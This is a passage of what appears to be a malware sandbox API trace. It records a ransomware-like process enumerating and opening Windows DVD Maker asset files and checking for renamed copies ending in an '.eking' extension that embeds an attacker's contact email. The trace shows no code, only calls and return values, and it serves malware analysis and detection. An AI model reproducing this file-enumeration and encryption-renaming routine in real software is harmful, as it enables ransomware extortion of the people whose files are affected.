lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0179.016] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4200) returned 1 [0179.016] CloseHandle (hObject=0x1e8) returned 1 [0179.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0179.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0179.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0179.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.017] SetEvent (hEvent=0x174) returned 1 [0179.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0179.023] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2739) returned 1 [0179.023] CloseHandle (hObject=0x1e8) returned 1 [0179.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0179.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0179.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0179.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.024] SetEvent (hEvent=0x174) returned 1 [0179.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0180.042] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2211) returned 1 [0180.042] CloseHandle (hObject=0x1e8) returned 1 [0180.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0180.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0180.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.043] SetEvent (hEvent=0x174) returned 1 [0180.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0180.696] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1551) returned 1 [0180.696] CloseHandle (hObject=0x1e8) returned 1 [0180.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0180.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0180.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.696] SetEvent (hEvent=0x174) returned 1 [0180.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0180.697] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=19477) returned 1 [0180.697] CloseHandle (hObject=0x1e8) returned 1 [0180.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0180.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0180.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.698] SetEvent (hEvent=0x174) returned 1 [0180.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0180.698] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=52251) returned 1 [0180.699] CloseHandle (hObject=0x1e8) returned 1 [0180.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0180.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0180.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.699] SetEvent (hEvent=0x174) returned 1 [0180.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0180.855] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=181298) returned 1 [0180.856] CloseHandle (hObject=0x1dc) returned 1 [0180.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0180.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0180.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.858] SetEvent (hEvent=0x174) returned 1 [0180.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0180.859] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=181322) returned 1 [0180.859] CloseHandle (hObject=0x1dc) returned 1 [0180.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0180.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0180.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.859] SetEvent (hEvent=0x174) returned 1 [0180.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0180.860] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237298) returned 1 [0180.860] CloseHandle (hObject=0x1dc) returned 1 [0180.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0180.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0180.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.861] SetEvent (hEvent=0x174) returned 1 [0180.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0180.861] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=269322) returned 1 [0180.861] CloseHandle (hObject=0x1dc) returned 1 [0180.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0180.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0180.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0180.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.862] SetEvent (hEvent=0x174) returned 1 [0180.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.118] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3525) returned 1 [0181.118] CloseHandle (hObject=0x1ec) returned 1 [0181.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0181.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0181.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.231] SetEvent (hEvent=0x174) returned 1 [0181.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.232] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=581394) returned 1 [0181.232] CloseHandle (hObject=0x1ec) returned 1 [0181.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0181.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0181.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.233] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=49904) returned 1 [0181.233] CloseHandle (hObject=0x1ec) returned 1 [0181.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0181.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0181.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.234] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47300) returned 1 [0181.234] CloseHandle (hObject=0x1ec) returned 1 [0181.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0181.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0181.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.237] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=77208) returned 1 [0181.237] CloseHandle (hObject=0x1ec) returned 1 [0181.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0181.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0181.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 